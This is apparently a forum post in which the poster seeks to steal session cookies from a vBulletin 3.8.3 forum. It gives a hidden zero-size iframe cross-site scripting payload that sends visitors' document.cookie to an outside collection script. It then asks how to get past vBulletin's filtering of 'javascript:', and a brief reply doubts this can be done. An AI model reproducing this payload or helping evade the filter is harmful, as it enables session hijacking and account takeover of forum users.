I want to get session cookies from a vBulletin Forum Version 3.8.3 with "HTML-Code is on".

I want to use an iFrame to hide everything.
My code looks like this:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="http://xxxxxxxxx.com/get.php?c="+document.cookie)></iframe>

Here's my problem:
Everytime I preview the post, vBulletin makes a <b> tag in the code like this:
javascript<b></b>:void

Is there a way around this?

XSS in vBulletin ?
i dont think if this is possible.